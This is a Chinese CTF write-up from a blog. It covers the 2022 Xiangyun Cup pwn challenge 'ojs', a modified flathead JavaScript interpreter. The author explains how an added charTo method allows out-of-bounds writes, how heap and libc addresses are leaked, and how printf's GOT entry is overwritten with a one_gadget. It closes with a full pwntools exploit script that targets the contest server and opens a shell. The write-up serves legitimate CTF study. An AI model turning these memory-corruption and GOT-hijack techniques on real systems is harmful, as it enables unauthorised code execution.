祥云杯2022 Pwn ojs

查找关键词可知,这题魔改自项目:https://github.com/ndreynolds/flathead

比对源码可知,新增了方法charTo

image

逆一下,str.charTo(offset, val)代表将字符串str偏移offset(可正可负)处改为val

可越界写的条件是字符串str的长度为3,且当val = 17的时候,会返回存放str自身的堆块地址(结合动态调试)。

image

由于本题没开PIE保护,且got表可写:

image

所以其实任意写的思路很显然:先泄露出str自身堆块地址,然后就能用其与某got表地址的差值通过charTo任意写got表了。

泄露libc的思路也不难想到,可以将初始长度为3str后面的\x00不断覆盖掉,这样就能泄露后面内存中的libc地址了,这里其实也可以泄露出堆块地址。

不过,由于比赛的时候远程环境十分诡异,导致当时配了几个小时环境都没弄出来远程的环境(打通以后才知道原因应该是由于共享库被放在了题目的同一目录下QAQ),后来就干脆采用了无脑爆破的做法。str后面内存区域中libc的位置需要爆破一下,得到是60*8的偏移处,然后得到了libc地址以后,其相对于基地址的偏移也需要爆破一下(这里其实有个技巧,就比如我这里劫持的是printfgot表,那么可能出问题也就是倒数第二、三个字节,先只改倒数第二个字节,其余保持原先的值不变,如果最后能正常输出,则表示倒数第四位的偏移爆破正确了,倒数第三个字节的爆破也同理这么操作)。

此外,这里应该也可以通过改某个got表为puts@plt,然后输入某个got的地址来泄露libc,或者先劫持bss段上的stdin/stdout/stderr指针为某个got表地址,然后比如再改setvbufgot表为puts@plt,最后劫持执行流到setvbuf来泄露。不过这里貌似不太好泄露完再返回了,但是通过这里泄露的值和上述60*8的位置泄露的libc比对一下就不需要上面的爆破操作了。

最后,选用如下one_gadget即可:

image

from pwn import *
context(os = "linux", arch = "amd64", log_level = "debug")

io = remote("39.106.13.71", 38641)
libc = ELF("./libc-2.27.so")
elf = ELF("./ojs")

io.sendlineafter("> ", 'a = "win";')
io.sendlineafter("> ", 'x = a.charTo(0, 17);')
io.sendlineafter("> ", 'console.log("xxx" + x.toString() + "xxx");')

io.recvline()
io.recvuntil("xxx")
heap_addr = int(io.recvuntil("xxx").strip(b"xxx"))
success("heap_addr:\t" + hex(heap_addr))

io.sendlineafter("> ", 'for(var i = 3; i < 60*8; i++) a.charTo(i, 97);')
io.sendlineafter("> ", 'console.log(a);')

libc_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8, b'\x00'))
success("libc_addr:\t" + hex(libc_addr))
libc_base = libc_addr - 0xd22ce8
success("libc_base:\t" + hex(libc_base))

dis = elf.got['printf'] - heap_addr
og = p64(libc_base + 0xe54f7)
for i in range(6) :
	io.sendlineafter("> ", f'a.charTo({dis+i}, {og[i]});')

io.sendlineafter("> ", 'b = [];')
io.sendlineafter("> ", 'b.push("winmt");')
io.interactive()

image

posted @ 2022-10-31 01:16  winmt  阅读(258)  评论(0编辑  收藏  举报